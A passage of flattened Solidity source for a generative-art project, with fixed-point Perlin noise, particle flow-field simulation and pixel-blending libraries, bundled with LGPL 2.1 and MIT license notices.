int64 lml = Fix64V1.sub(int64(lz), int64(lm));
int64 v = Trig256.exp(lml);
return (g, v);
}
}
// File contracts/V1/NoiseV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
/*
An implementation of fixed-point noise in Q31.Q32 format.
Adapted from the algorithm used by p5js, which is licensed under the LGPL v2.1.
See: https://github.com/processing/p5.js/blob/374acfb44588bfd565c54d61264df197d798d121/src/math/noise.js
https://github.com/processing/p5.js/blob/main/license.txt
This adaptation was necessary to ensure generative art in p5js produces identical results for noise values in Solidity.
THIRD PARTY NOTICES:
====================
GNU LESSER GENERAL PUBLIC LICENSE
Version 2.1, February 1999
Copyright (C) 1991, 1999 Free Software Foundation, Inc.
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
(This is the first released version of the Lesser GPL. It also counts
as the successor of the GNU Library Public License, version 2, hence
the version number 2.1.)
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
Licenses are intended to guarantee your freedom to share and change
free software--to make sure the software is free for all its users.
This license, the Lesser General Public License, applies to some
specially designated software packages--typically libraries--of the
Free Software Foundation and other authors who decide to use it. You
can use it too, but we suggest you first think carefully about whether
this license or the ordinary General Public License is the better
strategy to use in any particular case, based on the explanations below.
When we speak of free software, we are referring to freedom of use,
not price. Our General Public Licenses are designed to make sure that
you have the freedom to distribute copies of free software (and charge
for this service if you wish); that you receive source code or can get
it if you want it; that you can change the software and use pieces of
it in new free programs; and that you are informed that you can do
these things.
To protect your rights, we need to make restrictions that forbid
distributors to deny you these rights or to ask you to surrender these
rights. These restrictions translate to certain responsibilities for
you if you distribute copies of the library or if you modify it.
For example, if you distribute copies of the library, whether gratis
or for a fee, you must give the recipients all the rights that we gave
you. You must make sure that they, too, receive or can get the source
code. If you link other code with the library, you must provide
complete object files to the recipients, so that they can relink them
with the library after making changes to the library and recompiling
it. And you must show them these terms so they know their rights.
We protect your rights with a two-step method: (1) we copyright the
library, and (2) we offer you this license, which gives you legal
permission to copy, distribute and/or modify the library.
To protect each distributor, we want to make it very clear that
there is no warranty for the free library. Also, if the library is
modified by someone else and passed on, the recipients should know
that what they have is not the original version, so that the original
author's reputation will not be affected by problems that might be
introduced by others.
Finally, software patents pose a constant threat to the existence of
any free program. We wish to make sure that a company cannot
effectively restrict the users of a free program by obtaining a
restrictive license from a patent holder. Therefore, we insist that
any patent license obtained for a version of the library must be
consistent with the full freedom of use specified in this license.
Most GNU software, including some libraries, is covered by the
ordinary GNU General Public License. This license, the GNU Lesser
General Public License, applies to certain designated libraries, and
is quite different from the ordinary General Public License. We use
this license for certain libraries in order to permit linking those
libraries into non-free programs.
When a program is linked with a library, whether statically or using
a shared library, the combination of the two is legally speaking a
combined work, a derivative of the original library. The ordinary
General Public License therefore permits such linking only if the
entire combination fits its criteria of freedom. The Lesser General
Public License permits more lax criteria for linking other code with
the library.
We call this license the "Lesser" General Public License because it
does Less to protect the user's freedom than the ordinary General
Public License. It also provides other free software developers Less
of an advantage over competing non-free programs. These disadvantages
are the reason we use the ordinary General Public License for many
libraries. However, the Lesser license provides advantages in certain
special circumstances.
For example, on rare occasions, there may be a special need to
encourage the widest possible use of a certain library, so that it becomes
a de-facto standard. To achieve this, non-free programs must be
allowed to use the library. A more frequent case is that a free
library does the same job as widely used non-free libraries. In this
case, there is little to gain by limiting the free library to free
software only, so we use the Lesser General Public License.
In other cases, permission to use a particular library in non-free
programs enables a greater number of people to use a large body of
free software. For example, permission to use the GNU C Library in
non-free programs enables many more people to use the whole GNU
operating system, as well as its variant, the GNU/Linux operating
system.
Although the Lesser General Public License is Less protective of the
users' freedom, it does ensure that the user of a program that is
linked with the Library has the freedom and the wherewithal to run
that program using a modified version of the Library.
The precise terms and conditions for copying, distribution and
modification follow. Pay close attention to the difference between a
"work based on the library" and a "work that uses the library". The
former contains code derived from the library, whereas the latter must
be combined with the library in order to run.
GNU LESSER GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License Agreement applies to any software library or other
program which contains a notice placed by the copyright holder or
other authorized party saying it may be distributed under the terms of
this Lesser General Public License (also called "this License").
Each licensee is addressed as "you".
A "library" means a collection of software functions and/or data
prepared so as to be conveniently linked with application programs
(which use some of those functions and data) to form executables.
The "Library", below, refers to any such software library or work
which has been distributed under these terms. A "work based on the
Library" means either the Library or any derivative work under
copyright law: that is to say, a work containing the Library or a
portion of it, either verbatim or with modifications and/or translated
straightforwardly into another language. (Hereinafter, translation is
included without limitation in the term "modification".)
"Source code" for a work means the preferred form of the work for
making modifications to it. For a library, complete source code means
all the source code for all modules it contains, plus any associated
interface definition files, plus the scripts used to control compilation
and installation of the library.
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running a program using the Library is not restricted, and output from
such a program is covered only if its contents constitute a work based
on the Library (independent of the use of the Library in a tool for
writing it). Whether that is true depends on what the Library does
and what the program that uses the Library does.
1. You may copy and distribute verbatim copies of the Library's
complete source code as you receive it, in any medium, provided that
you conspicuously and appropriately publish on each copy an
appropriate copyright notice and disclaimer of warranty; keep intact
all the notices that refer to this License and to the absence of any
warranty; and distribute a copy of this License along with the
Library.
You may charge a fee for the physical act of transferring a copy,
and you may at your option offer warranty protection in exchange for a
fee.
2. You may modify your copy or copies of the Library or any portion
of it, thus forming a work based on the Library, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) The modified work must itself be a software library.
b) You must cause the files modified to carry prominent notices
stating that you changed the files and the date of any change.
c) You must cause the whole of the work to be licensed at no
charge to all third parties under the terms of this License.
d) If a facility in the modified Library refers to a function or a
table of data to be supplied by an application program that uses
the facility, other than as an argument passed when the facility
is invoked, then you must make a good faith effort to ensure that,
in the event an application does not supply such function or
table, the facility still operates, and performs whatever part of
its purpose remains meaningful.
(For example, a function in a library to compute square roots has
a purpose that is entirely well-defined independent of the
application. Therefore, Subsection 2d requires that any
application-supplied function or table used by this function must
be optional: if the application does not supply it, the square
root function must still compute square roots.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Library,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Library, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote
it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Library.
In addition, mere aggregation of another work not based on the Library
with the Library (or with a work based on the Library) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may opt to apply the terms of the ordinary GNU General Public
License instead of this License to a given copy of the Library. To do
this, you must alter all the notices that refer to this License, so
that they refer to the ordinary GNU General Public License, version 2,
instead of to this License. (If a newer version than version 2 of the
ordinary GNU General Public License has appeared, then you can specify
that version instead if you wish.) Do not make any other change in
these notices.
Once this change is made in a given copy, it is irreversible for
that copy, so the ordinary GNU General Public License applies to all
subsequent copies and derivative works made from that copy.
This option is useful when you wish to copy part of the code of
the Library into a program that is not a library.
4. You may copy and distribute the Library (or a portion or
derivative of it, under Section 2) in object code or executable form
under the terms of Sections 1 and 2 above provided that you accompany
it with the complete corresponding machine-readable source code, which
must be distributed under the terms of Sections 1 and 2 above on a
medium customarily used for software interchange.
If distribution of object code is made by offering access to copy
from a designated place, then offering equivalent access to copy the
source code from the same place satisfies the requirement to
distribute the source code, even though third parties are not
compelled to copy the source along with the object code.
5. A program that contains no derivative of any portion of the
Library, but is designed to work with the Library by being compiled or
linked with it, is called a "work that uses the Library". Such a
work, in isolation, is not a derivative work of the Library, and
therefore falls outside the scope of this License.
However, linking a "work that uses the Library" with the Library
creates an executable that is a derivative of the Library (because it
contains portions of the Library), rather than a "work that uses the
library". The executable is therefore covered by this License.
Section 6 states terms for distribution of such executables.
When a "work that uses the Library" uses material from a header file
that is part of the Library, the object code for the work may be a
derivative work of the Library even though the source code is not.
Whether this is true is especially significant if the work can be
linked without the Library, or if the work is itself a library. The
threshold for this to be true is not precisely defined by law.
If such an object file uses only numerical parameters, data
structure layouts and accessors, and small macros and small inline
functions (ten lines or less in length), then the use of the object
file is unrestricted, regardless of whether it is legally a derivative
work. (Executables containing this object code plus portions of the
Library will still fall under Section 6.)
Otherwise, if the work is a derivative of the Library, you may
distribute the object code for the work under the terms of Section 6.
Any executables containing that work also fall under Section 6,
whether or not they are linked directly with the Library itself.
6. As an exception to the Sections above, you may also combine or
link a "work that uses the Library" with the Library to produce a
work containing portions of the Library, and distribute that work
under terms of your choice, provided that the terms permit
modification of the work for the customer's own use and reverse
engineering for debugging such modifications.
You must give prominent notice with each copy of the work that the
Library is used in it and that the Library and its use are covered by
this License. You must supply a copy of this License. If the work
during execution displays copyright notices, you must include the
copyright notice for the Library among them, as well as a reference
directing the user to the copy of this License. Also, you must do one
of these things:
a) Accompany the work with the complete corresponding
machine-readable source code for the Library including whatever
changes were used in the work (which must be distributed under
Sections 1 and 2 above); and, if the work is an executable linked
with the Library, with the complete machine-readable "work that
uses the Library", as object code and/or source code, so that the
user can modify the Library and then relink to produce a modified
executable containing the modified Library. (It is understood
that the user who changes the contents of definitions files in the
Library will not necessarily be able to recompile the application
to use the modified definitions.)
b) Use a suitable shared library mechanism for linking with the
Library. A suitable mechanism is one that (1) uses at run time a
copy of the library already present on the user's computer system,
rather than copying library functions into the executable, and (2)
will operate properly with a modified version of the library, if
the user installs one, as long as the modified version is
interface-compatible with the version that the work was made with.
c) Accompany the work with a written offer, valid for at
least three years, to give the same user the materials
specified in Subsection 6a, above, for a charge no more
than the cost of performing this distribution.
d) If distribution of the work is made by offering access to copy
from a designated place, offer equivalent access to copy the above
specified materials from the same place.
e) Verify that the user has already received a copy of these
materials or that you have already sent this user a copy.
For an executable, the required form of the "work that uses the
Library" must include any data and utility programs needed for
reproducing the executable from it. However, as a special exception,
the materials to be distributed need not include anything that is
normally distributed (in either source or binary form) with the major
components (compiler, kernel, and so on) of the operating system on
which the executable runs, unless that component itself accompanies
the executable.
It may happen that this requirement contradicts the license
restrictions of other proprietary libraries that do not normally
accompany the operating system. Such a contradiction means you cannot
use both them and the Library together in an executable that you
distribute.
7. You may place library facilities that are a work based on the
Library side-by-side in a single library together with other library
facilities not covered by this License, and distribute such a combined
library, provided that the separate distribution of the work based on
the Library and of the other library facilities is otherwise
permitted, and provided that you do these two things:
a) Accompany the combined library with a copy of the same work
based on the Library, uncombined with any other library
facilities. This must be distributed under the terms of the
Sections above.
b) Give prominent notice with the combined library of the fact
that part of it is a work based on the Library, and explaining
where to find the accompanying uncombined form of the same work.
8. You may not copy, modify, sublicense, link with, or distribute
the Library except as expressly provided under this License. Any
attempt otherwise to copy, modify, sublicense, link with, or
distribute the Library is void, and will automatically terminate your
rights under this License. However, parties who have received copies,
or rights, from you under this License will not have their licenses
terminated so long as such parties remain in full compliance.
9. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Library or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Library (or any work based on the
Library), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Library or works based on it.
10. Each time you redistribute the Library (or any work based on the
Library), the recipient automatically receives a license from the
original licensor to copy, distribute, link with or modify the Library
subject to these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties with
this License.
11. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Library at all. For example, if a patent
license would not permit royalty-free redistribution of the Library by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Library.
If any portion of this section is held invalid or unenforceable under any
particular circumstance, the balance of the section is intended to apply,
and the section as a whole is intended to apply in other circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
12. If the distribution and/or use of the Library is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Library under this License may add
an explicit geographical distribution limitation excluding those countries,
so that distribution is permitted only in or among countries not thus
excluded. In such case, this License incorporates the limitation as if
written in the body of this License.
13. The Free Software Foundation may publish revised and/or new
versions of the Lesser General Public License from time to time.
Such new versions will be similar in spirit to the present version,
but may differ in detail to address new problems or concerns.
Each version is given a distinguishing version number. If the Library
specifies a version number of this License which applies to it and
"any later version", you have the option of following the terms and
conditions either of that version or of any later version published by
the Free Software Foundation. If the Library does not specify a
license version number, you may choose any version ever published by
the Free Software Foundation.
14. If you wish to incorporate parts of the Library into other free
programs whose distribution conditions are incompatible with these,
write to the author to ask for permission. For software which is
copyrighted by the Free Software Foundation, write to the Free
Software Foundation; we sometimes make exceptions for this. Our
decision will be guided by the two goals of preserving the free status
of all derivatives of our free software and of promoting the sharing
and reuse of software generally.
NO WARRANTY
15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO
WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.
EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR
OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY
KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE
LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME
THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN
WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY
AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU
FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR
CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE
LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING
RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A
FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF
SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES.
END OF TERMS AND CONDITIONS
*/
library NoiseV1 {
uint32 private constant NOISE_TABLE_SIZE = 4095;
int32 private constant PERLIN_YWRAPB = 4;
int32 private constant PERLIN_YWRAP = 16; // 1 << PERLIN_YWRAPB
int32 private constant PERLIN_ZWRAPB = 8;
int32 private constant PERLIN_ZWRAP = 256; // 1 << PERLIN_ZWRAPB
uint8 private constant PERLIN_OCTAVES = 4;
int64 private constant PERLIN_AMP_FALLOFF = 2147483648; // 0.5
struct noiseFunction {
int64[NOISE_TABLE_SIZE + 1] noiseTable;
int64 x;
int64 y;
int64 z;
int32 xi;
int32 yi;
int32 zi;
int64 xf;
int64 yf;
int64 zf;
int64 rxf;
int64 ryf;
int64 n1;
int64 n2;
int64 n3;
}
function buildNoiseTable(int32 seed) external pure returns (int64[4096] memory noiseTable){
for (uint16 i = 0; i < NOISE_TABLE_SIZE + 1; i++) {
(uint64 s, int64 v) = LCG64.next(uint32(seed));
noiseTable[i] = v;
seed = int32(uint32(s));
}
}
function noise(
int64[NOISE_TABLE_SIZE + 1] memory noiseTable,
int64 x,
int64 y
) external pure returns (int64) {
return noise_impl(noiseFunction(noiseTable, x, y, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0));
}
function noise(noiseFunction memory f) external pure returns (int64) {
return noise_impl(f);
}
function noise_impl(noiseFunction memory f) private pure returns (int64) {
if (f.x < 0) {
f.x = -f.x;
}
if (f.y < 0) {
f.y = -f.y;
}
if (f.z < 0) {
f.z = -f.z;
}
f.xi = int32(Fix64V1.floor(f.x) >> 32 /* FRACTIONAL_PLACES */);
f.yi = int32(Fix64V1.floor(f.y) >> 32 /* FRACTIONAL_PLACES */);
f.zi = int32(Fix64V1.floor(f.z) >> 32 /* FRACTIONAL_PLACES */);
f.xf = Fix64V1.sub(f.x, (f.xi * Fix64V1.ONE));
f.yf = Fix64V1.sub(f.y, (f.yi * Fix64V1.ONE));
f.zf = Fix64V1.sub(f.z, (f.zi * Fix64V1.ONE));
int64 r = 0;
int64 ampl = PERLIN_AMP_FALLOFF;
for (uint8 o = 0; o < PERLIN_OCTAVES; o++) {
int32 off = f.xi + (f.yi << uint32(PERLIN_YWRAPB)) + (f.zi << uint32(PERLIN_ZWRAPB));
f.rxf = scaled_cosine(f.xf);
f.ryf = scaled_cosine(f.yf);
f.n1 = f.noiseTable[uint32(off) & NOISE_TABLE_SIZE];
{
f.n1 = Fix64V1.add(f.n1, Fix64V1.mul(f.rxf, Fix64V1.sub(int64(f.noiseTable[(uint32(off) + 1) & NOISE_TABLE_SIZE]), f.n1)));
f.n2 = f.noiseTable[(uint32(off) + uint32(PERLIN_YWRAP)) & NOISE_TABLE_SIZE];
f.n2 = Fix64V1.add(f.n2, Fix64V1.mul(f.rxf, Fix64V1.sub(int64(f.noiseTable[(uint32(off) + uint32(PERLIN_YWRAP) + 1) & NOISE_TABLE_SIZE]), f.n2)));
f.n1 = Fix64V1.add(f.n1, Fix64V1.mul(f.ryf, Fix64V1.sub(f.n2, f.n1)));
off += PERLIN_ZWRAP;
f.n2 = f.noiseTable[uint32(off) & NOISE_TABLE_SIZE];
f.n2 = Fix64V1.add(f.n2, Fix64V1.mul(f.rxf, Fix64V1.sub(int64(f.noiseTable[((uint32(off) + 1)) & NOISE_TABLE_SIZE]), f.n2)));
f.n3 = f.noiseTable[(uint32(off) + uint32(PERLIN_YWRAP)) & NOISE_TABLE_SIZE];
f.n3 = Fix64V1.add(f.n3, Fix64V1.mul(f.rxf, Fix64V1.sub(int64(f.noiseTable[(uint32(off) + uint32(PERLIN_YWRAP) + 1) & NOISE_TABLE_SIZE]), f.n3)));
f.n2 = Fix64V1.add(f.n2, Fix64V1.mul(f.ryf, Fix64V1.sub(f.n3, f.n2)));
f.n1 = Fix64V1.add(f.n1, Fix64V1.mul(scaled_cosine(f.zf), Fix64V1.sub(f.n2, f.n1)));
}
r = Fix64V1.add(r, Fix64V1.mul(f.n1, ampl));
ampl = Fix64V1.mul(ampl, PERLIN_AMP_FALLOFF);
f.xi <<= 1;
f.xf = Fix64V1.mul(f.xf, Fix64V1.TWO);
f.yi <<= 1;
f.yf = Fix64V1.mul(f.yf, Fix64V1.TWO);
f.zi <<= 1;
f.zf = Fix64V1.mul(f.zf, Fix64V1.TWO);
if (f.xf >= Fix64V1.ONE) {
f.xi++;
f.xf = f.xf - Fix64V1.ONE;
}
if (f.yf >= Fix64V1.ONE) {
f.yi++;
f.yf = f.yf - Fix64V1.ONE;
}
if (f.zf >= Fix64V1.ONE) {
f.zi++;
f.zf = f.zf - Fix64V1.ONE;
}
}
return r;
}
function scaled_cosine(int64 i)
private
pure
returns (int64)
{
int64 angle = Fix64V1.mul(i, Fix64V1.PI);
int64 cosine = Trig256.cos(angle);
int64 scaled = Fix64V1.mul(
2147483648, /* 0.5f */
Fix64V1.sub(Fix64V1.ONE, cosine)
);
return scaled;
}
}
// File contracts/V1/ParticleV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
/*
A noise-based particle simulator, built for generative art that uses flow fields.
Based on techniques in Sighack's "Getting Creative with Perlin Noise Fields":
See: https://github.com/sighack/perlin-noise-fields
See: https://github.com/sighack/perlin-noise-fields/blob/master/LICENSE
THIRD PARTY NOTICES:
====================
MIT License
Copyright (c) 2018 Manohar Vanga
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
library ParticleV1 {
uint16 internal constant NOISE_TABLE_SIZE = 4096;
struct Particle2D {
int64 ox;
int64 oy;
int64 px;
int64 py;
int64 x;
int64 y;
uint32 frames;
bool dead;
TypesV1.Point2D force;
uint8 _lifetime;
int64 _forceScale;
int64 _noiseScale;
}
function update(
int64[NOISE_TABLE_SIZE] memory noiseTable,
Particle2D memory p,
uint256 width,
uint256 height
) internal pure {
p.frames++;
if (p.frames >= p._lifetime) {
p.dead = true;
return;
}
p.force = forceAt(noiseTable, p, p.x, p.y);
if (
p.x >= int256(width) + int256(width) / 2 ||
p.x < -int256(width) / 2 ||
p.y >= int256(height) + int256(height) / 2 ||
p.y < -int256(height) / 2
) {
p.dead = true;
return;
}
p.px = p.x;
p.py = p.y;
p.x += int64(p.force.x);
p.y += int64(p.force.y);
}
function forceAt(
int64[NOISE_TABLE_SIZE] memory noiseTable,
Particle2D memory p,
int64 x,
int64 y
) internal pure returns (TypesV1.Point2D memory force) {
int64 nx = Fix64V1.mul(x * Fix64V1.ONE, p._noiseScale);
int64 ny = Fix64V1.mul(y * Fix64V1.ONE, p._noiseScale);
int64 noise = NoiseV1.noise(noiseTable, nx, ny);
int64 theta = Fix64V1.mul(noise, Fix64V1.TWO_PI);
return forceFromAngle(p, theta);
}
function forceFromAngle(Particle2D memory p, int64 theta)
internal
pure
returns (TypesV1.Point2D memory force)
{
int64 px = Trig256.cos(theta);
int64 py = Trig256.sin(theta);
int64 pxl = Fix64V1.mul(px, p._forceScale) >> 32 /* FRACTIONAL_PLACES */;
int64 pyl = Fix64V1.mul(py, p._forceScale) >> 32 /* FRACTIONAL_PLACES */;
force = TypesV1.Point2D(int32(pxl), int32(pyl));
}
}
// File contracts/V1/ParticleSetV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
/*
A noise-based particle simulator, built for generative art that uses flow fields.
Based on techniques in Sighack's "Getting Creative with Perlin Noise Fields":
See: https://github.com/sighack/perlin-noise-fields
See: https://github.com/sighack/perlin-noise-fields/blob/master/LICENSE
THIRD PARTY NOTICES:
====================
MIT License
Copyright (c) 2018 Manohar Vanga
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
abstract contract ParticleSetV1 {
uint16 internal constant NOISE_TABLE_SIZE = 4095;
uint16 internal constant PARTICLE_TABLE_SIZE = 5000;
struct ParticleSet2D {
ParticleV1.Particle2D[5000] particles;
bool dead;
}
function update(
int64[NOISE_TABLE_SIZE + 1] memory noiseTable,
ParticleSet2D memory set,
uint16 particleCount,
uint256 width,
uint256 height
) internal pure {
set.dead = true;
for (uint16 i = 0; i < particleCount; i++) {
ParticleV1.Particle2D memory p = set.particles[i];
if (p.dead) {
continue;
}
set.dead = false;
ParticleV1.update(noiseTable, p, width, height);
}
}
function draw(
ParticleSet2D memory set,
uint16 particleCount,
uint32[16384] memory result,
TypesV1.Chunk2D memory chunk
) internal pure {
if (set.dead) {
return;
}
for (uint256 i = 0; i < particleCount; i++) {
ParticleV1.Particle2D memory p = set.particles[i];
if (p.dead) {
continue;
}
step(p, result, chunk);
}
}
function step(
ParticleV1.Particle2D memory p, uint32[16384] memory result,
TypesV1.Chunk2D memory chunk
) internal pure virtual;
}
// File contracts/V1/ParticleSetFactoryV1.sol
// License-Identifier: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
/*
A noise-based particle simulator, built for generative art that uses flow fields.
Based on techniques in Sighack's "Getting Creative with Perlin Noise Fields":
See: https://github.com/sighack/perlin-noise-fields
See: https://github.com/sighack/perlin-noise-fields/blob/master/LICENSE
THIRD PARTY NOTICES:
====================
MIT License
Copyright (c) 2018 Manohar Vanga
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
library ParticleSetFactoryV1 {
uint16 internal constant PARTICLE_TABLE_SIZE = 5000;
struct CreateParticleSet2D {
int32 seed;
uint32 range;
uint16 width;
uint16 height;
uint16 n;
int64 forceScale;
int64 noiseScale;
uint8 lifetime;
}
function createSet(CreateParticleSet2D memory f, RandomV1.PRNG memory prng)
external
pure
returns (ParticleSetV1.ParticleSet2D memory set, RandomV1.PRNG memory)
{
ParticleV1.Particle2D[PARTICLE_TABLE_SIZE] memory particles;
for (uint16 i = 0; i < f.n; i++) {
int256 px = RandomV1.next(
prng,
-int32(f.range),
int16(f.width) + int32(f.range)
);
int256 py = RandomV1.next(
prng,
-int32(f.range),
int16(f.height) + int32(f.range)
);
ParticleV1.Particle2D memory particle = ParticleV1.Particle2D(
int64(px),
int64(py),
0,
0,
int64(px),
int64(py),
0,
false,
TypesV1.Point2D(0, 0),
f.lifetime,
f.forceScale,
f.noiseScale
);
particles[i] = particle;
}
set.particles = particles;
return (set, prng);
}
}
// File contracts/V1/GraphicsV1.sol
// License: UNLICENSED
/* Copyright (c) 2021 Kohi Art Community, Inc. All rights reserved. */
pragma solidity ^0.8.0;
library GraphicsV1 {
function setPixel(
uint32[20480 /* 128 * 160 */] memory result,
uint256 width,
int256 x,
int256 y,
uint32 color
) internal pure {
uint256 p = uint256(int256(width) * y + x);
result[p] = blend(result[p], color);
}
function blend(uint32 bg, uint32 fg) internal pure returns (uint32) {
uint32 r1 = bg >> 16;
uint32 g1 = bg >> 8;
uint32 b1 = bg;
uint32 a2 = fg >> 24;
uint32 r2 = fg >> 16;
uint32 g2 = fg >> 8;
uint32 b2 = fg;
uint32 alpha = (a2 & 0xFF) + 1;
uint32 inverseAlpha = 257 - alpha;
uint32 r = (alpha * (r2 & 0xFF) + inverseAlpha * (r1 & 0xFF)) >> 8;
uint32 g = (alpha * (g2 & 0xFF) + inverseAlpha * (g1 & 0xFF)) >> 8;
uint32 b = (alpha * (b2 & 0xFF) + inverseAlpha * (b1 & 0xFF)) >> 8;
uint32 rgb = 0;
rgb |= uint32(0xFF) << 24;
rgb |= r << 16;
rgb |= g << 8;
rgb |= b;
return rgb;
}
function setOpacity(uint32 color, uint32 opacity) internal pure returns (uint32) {
require(opacity > 0 && opacity <= 255, "opacity must be between 0 and 255");
uint32 r = color >> 16 & 0xFF;
uint32 g = color >> 8 & 0xFF;
uint32 b = color & 0xFF;
uint32 rgb = 0;
rgb |= opacity << 24;
rgb |= r << 16;
rgb |= g << 8;
rgb |= b;
return uint32(rgb);
}
}
